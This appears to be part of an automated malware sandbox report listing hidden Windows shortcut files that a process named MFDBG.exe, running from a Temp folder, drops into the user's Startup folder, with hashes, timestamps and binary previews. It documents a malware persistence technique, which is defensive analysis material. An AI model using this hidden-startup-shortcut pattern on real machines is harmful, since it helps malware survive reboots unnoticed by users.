File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:02 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92408268825918
Encrypted:	false
SSDEEP:	24:8CBfx+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8wtEvZ0yRO7DLO2zdxdRd1kyg
MD5:	030FC43FD8389130ED278B4CB1BC74ED
SHA1:	BFE99352D3CAA9591D6C3D6C453223F443E7BA72
SHA-256:	1F4BA113E8A04333C4CCC6E161396A633F89259B0D9C7256A54E30F0CF03A872
SHA-512:	9E41921A496A994048178A58732D34C05B2D5DC6B5F4C5B18253B47A42A5F497381E9B5F84D5A8EFD1B335C07ED17D23B1D2FE47836FD81F5128A15B9995DAC0
Malicious:	false
Preview:	L..................F....".......d.....Q.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c..../.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_555ff2d3ba2c4c7089ed884259a7192f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9219826821297135
Encrypted:	false
SSDEEP:	24:8jmBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8jsREvZ0yRO7DLO2zdxdRd1kyg
MD5:	5B3012259819D3D0F06C21DC0BB7A7FD
SHA1:	FE5D563C38F3730949E26C893697DA87A1609D94
SHA-256:	899325DDF434358D676ECDB25697ECA2E65960562934DAC6B4E46CAAAC7B0BEE
SHA-512:	5A8D31E1D12E35E5F90B9CE7AA281E85F3D5936CA20EBADE84E391F6BBC988DD5864F7FD100936E0767AFD014124E80E705AFE422930B9D504D9C1A77973A447
Malicious:	false
Preview:	L..................F....".......d...9S.Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5595a484252843aeb1678fc52c0d06b2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920916496150429
Encrypted:	false
SSDEEP:	24:8wTBf88EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:84BEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8A6B8561C92A29A0538DA34594960D10
SHA1:	4A8FC8FBC3A3B1B2AE8C7AD18DC86F03377C662F
SHA-256:	0A15726B836986F38F6BDA38090C0EC2C4C5BE6E8D1BB20A1ACB55F981E8D5AE
SHA-512:	EAF327EEC9658B3C9CA7A04AF99D79950736EABBA9617C88BDBEEDE24BE2FA3E945470A74B0A8ADC9BED8ACEFEA4FB6912AC8E05A567F1BC666C72F53DE8BED9
Malicious:	false
Preview:	L..................F....".......d....G7<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....4<d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_56382babef014f719181053cebe0c3c9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:18 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922719242991926
Encrypted:	false
SSDEEP:	24:8zQBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8zevEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3420343CFD83C12B37BB634B98411AF5
SHA1:	B9C3388CC47A3F8321E4E5083A3B72B8CDC6C09B
SHA-256:	2C8A5E89A13BD4192A105A58EC12984E4FD157F2B7C5EBFE814BB90CB2000D14
SHA-512:	9A923ED8651C25BCE32BD7DEFB496E605384480415B18EAF76B16311B6DB3178DF9C55B3CB66208B69B12D914701957EBCE82E3E4D56C6CC7C8A6A0777AC7864
Malicious:	false
Preview:	L..................F....".......d.....A(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...I.F(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5643f754e8f3473f8fc0013ba9102384.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:13 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924946520850675
Encrypted:	false
SSDEEP:	24:8W3BfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8WRoEvZ0yRO7DLO2zdxdRd1kyg
MD5:	49E13AF2A3E46ADC7D17BB27E303703D
SHA1:	70BDD1FE38B3D2A99A5F28A4B91BC1061DEA9FFC
SHA-256:	25DCF4B84D8815282E06FE2EBB3D7742C283E5DBC602EC82AA26577C557BAA3B
SHA-512:	37883FDEB2BCF6BEA036F0418DFD3580EE0F4673FEF3FD8AE7714C36706D0E5C149B58EE847962C6F5800210DE19A0C62BD1EE22902427D26F73F6356C9D04DF
Malicious:	false
Preview:	L..................F....".......d.....R%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c..._W6%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_56a5c4ad6d724679a741e3ae0cf1b533.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:10 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921260425247841
Encrypted:	false
SSDEEP:	24:8EBf68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8qfEvZ0yRO7DLO2zdxdRd1kyg
MD5:	19D17F98146E9B1B4A852B19F9EB59C0
SHA1:	1C320F04BE9895AED82EB5655B00EA2502B2549C
SHA-256:	78F5DAAE9A41D0DB9EAC0FCC65070837579A9E1AD4D1657069E3C2DFB1318888
SHA-512:	D76170681C6350D4E9D363C88FD1962BA8E0D1214CB81A5626F2490ECC6EA0D7DBD83A566E0EE0E2A1B0EF21395A4C9F03C81A119D24BC91DF940C3DF2B8A36F
Malicious:	false
Preview:	L..................F....".......d...sA.#d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...X.#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_56ae887caa6943d6bfec07cee43024bd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9218395245603075
Encrypted:	false
SSDEEP:	24:8hwBf68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8IfEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A5063D0196C43322979112FAB01E9C02
SHA1:	1B395C9DCC5AAD141CCCF322AA57C1E17E52C120
SHA-256:	559B497D5CA74CDD96D701C9AD0566EFAB2D608C36D441E65D61283986FDABE5
SHA-512:	7BC51D2226A2D715685DDE881DF752D023BD286A520D98AA91BFEDDCF7387FA99A83098870C6D96F4F71872D71164D7F893BF199058F2F8236FA81AF4A0ECEB2
Malicious:	false
Preview:	L..................F....".......d......]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...&v.\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5720857c4ea84b3782d304c5e8b4c355.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92448289256
Encrypted:	false
SSDEEP:	24:8KrBf/8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Kd8EvZ0yRO7DLO2zdxdRd1kyg
MD5:	1524AED21A82E3EA99E3814B453D4E67
SHA1:	4F9B61E73B7ED1E1BBBFEF83EABDCE55CE7E1504
SHA-256:	0287D2E9CA6E076BD37615957E42FAF716D0AACA7CC4897657288DB17C8664B5
SHA-512:	1B6AE0A9F3D3DF868407AFAFDAB88C674DF7518B5317BA8674E09BF89FDA1BFEA6FE02AEDC7044F374178F0CC01DA1B5363B64442A217119AB187EB141A01352
Malicious:	false
Preview:	L..................F....".......d......]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...l/.]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_57c3dc2d73c84c13a5091468821d8546.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:01 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929493886012552
Encrypted:	false
SSDEEP:	24:8mBfrp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8syEvZ0yRO7DLO2zdxdRd1kyg
MD5:	81EA75A8C694FB2D974A73CCE77C5903
SHA1:	9E238C969030083C73C53381D58C14C77B3CCC15
SHA-256:	14143BAEEB4D88CC7601E4564D2802514C4076DEF793B1DDEEF985415013C7A8
SHA-512:	AFEF723753894F849A0F91B02E5DF33734132F2FD3CFF57915C29E758815C3C90719B436C775AB2D18EDEA3799E1CE5BB0892C7E82E575EA6F8534A960F5A140
Malicious:	false
Preview:	L..................F....".......d.....3.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...{...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_57e0d2016a914218b45233532074d823.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.915555070879585
Encrypted:	false
SSDEEP:	24:8iBfQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Q9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	D0F7279F23F1DA19350602E1A9857FF8
SHA1:	6F2EDDEC40A086FA53D68B10E39DDAF4D86282D5
SHA-256:	B13AAEE42309AD413EAA251F2AFA8F7B3B5BC7AFCB79F95BC46E70D830676401
SHA-512:	347DFD3C83EC2722589E45E8EEE8F1BCBF3AB1E061984C7938163585B8B2D2906A2E2BA09D9486424DC11C4248370199C47BC623E0F74485CBFFBF979AD986BB
Malicious:	false
Preview:	L..................F....".......d....n..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...2...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_57fea6376c9e4a78bf84c4a0a9a453ff.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9311680133516615
Encrypted:	false
SSDEEP:	24:8V6QBfOD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8hbEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DC5AB5ADD1E05676671355B25B9C03DB
SHA1:	A48B22A6EE7EB680806C8B47CE50F6A29B1774A4
SHA-256:	1990AA781B547ABBBE41F7656320ED9198D71C40F2C50DCC33398BF1B890DF72
SHA-512:	A0FC3905D5FB456238C3BC6343379C70234B0342B2319DC50D8DC013A0309EF94FAF57975EEDF7ED18ACCC8882639AF45CDBC8B8342E98384066FFC0BBAA8D37
Malicious:	false
Preview:	L..................F....".......d...(.~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_583a8ec6917c46d6a1e7f7687302b404.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:53 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.913260147308232
Encrypted:	false
SSDEEP:	24:8d3BfMMQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dRUEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1E9892BF3864CC8E9771DB280B1BD8C9
SHA1:	D8B9060B17FAB829B8890C879408706AF63A15A5
SHA-256:	2912465BB378657B50195B38DAFBEF75B0B6325F89813A4041EB03CA3B3F85E0
SHA-512:	ADF160E39C74856D214C4C6FE305E7D14B17559B3DC62ED4CBFA9EAE8CB9788DC80797EC59E333D1B31F0CA500B0B92B518A229408BFBDC350A0108C6E1D962C
Malicious:	false
Preview:	L..................F....".......d...`.f=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...g`t=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_58711b9491e04bfabf2aa47c89faa2b9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.912216669735515
Encrypted:	false
SSDEEP:	24:86BfU98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:845EvZ0yRO7DLO2zdxdRd1kyg
MD5:	60247A89BD478E459616341C13C9A546
SHA1:	CFE552C514C31C13BBA2EDE1A13EDCBC3F39E2BF
SHA-256:	6DCB2EDF576472750D87DB41F1AC90A6730AF76CD9320D81DEE6230971AB46BC
SHA-512:	B638FEAEB8672726FEC10F6FE6488A50119520A4C36284ADDF55D164D6DF919E1789F32E397BC15548BBAC19D60B41F5506A3E1F838AB22EE5F3C9FB1290DA4E
Malicious:	false
Preview:	L..................F....".......d.....5Sd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Sd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5888fc22552843898e92e4406b0fb584.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
